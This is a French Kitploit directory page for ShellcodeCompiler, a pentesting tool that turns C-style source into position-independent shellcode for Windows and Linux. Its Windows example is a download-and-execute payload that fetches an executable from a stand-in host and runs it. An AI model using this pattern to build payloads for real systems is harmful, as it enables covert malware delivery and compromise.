Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ShellcodeCompiler — Compilateur de Shellcode | Kitploit
Outils/GitHubGitHub/nytrorst/shellcodecompiler
ExploitationShellcodeGénération de ShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Compilateur de Shellcode

Voir le dépôt
1.2k2805il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Compilateur de Shellcode

Shellcode Compiler est un programme qui compile du code de style C/C++ en un shellcode petit, indépendant de la position et sans NULL pour Windows (x86 et x64) et Linux (x86 et x64). Il est possible d'appeler n'importe quelle fonction API Windows ou syscall Linux de manière conviviale.

Shellcode Compiler prend en entrée un fichier source et utilise son propre compilateur pour interpréter le code et générer un fichier assembleur qui est assemblé avec le moteur Keystone.

Options de la ligne de commande

root@kitploit:~
    -h (--help)      : Afficher ce message d'aide
    -p (--platform)  : Plateforme du shellcode : win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Afficher les détails de la sortie
    -t (--test)      : Tester (exécuter) le shellcode généré
    -r (--read)      : Lire le fichier source
    -o (--output)    : Fichier de sortie du shellcode binaire généré
    -a (--assembbly) : Fichier de sortie du code assembleur généré

Exemple Windows

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);
Télécharger l’outil

Exemple Linux

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Exemple d'invocation

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

Limitations

  1. Il n'est pas possible d'utiliser la valeur de retour d'un appel API
  2. Il n'est pas possible d'utiliser des pointeurs ou des tampons
  3. Il n'est pas possible de déclarer des variables

De nombreuses autres limitations existent également. Ceci est une version Alpha. Veuillez signaler tout bug ou suggestion.

Journal des modifications

  1. Support initial pour Windows x64
  2. Support initial pour les shellcodes Linux (x86 et x64)

Keystone

  1. Téléchargez le code source de Keystone Engine
  2. Compilez Keystone Engine en bibliothèque statique en utilisant nmake-lib.sh (pour Linux) et nmake-lib.bat (pour Windows)
  3. Windows : Copiez le fichier lib résultant de keystone-src\build\llvm\lib\keystone.lib vers ShellcodeCompiler\Keystone\keystone_x86.lib (pour 32 bits) et keystone_x64.lib (pour 64 bits)
  4. Linux : Copiez le fichier lib résultant de keystone-src\build\llvm\lib\keystone.lib vers ShellcodeCompiler\Keystone\libkeystone_x86.a (pour 32 bits) et libkeystone_x64.a (pour 64 bits)

Auteur

Ionut Popescu (@NytroRST)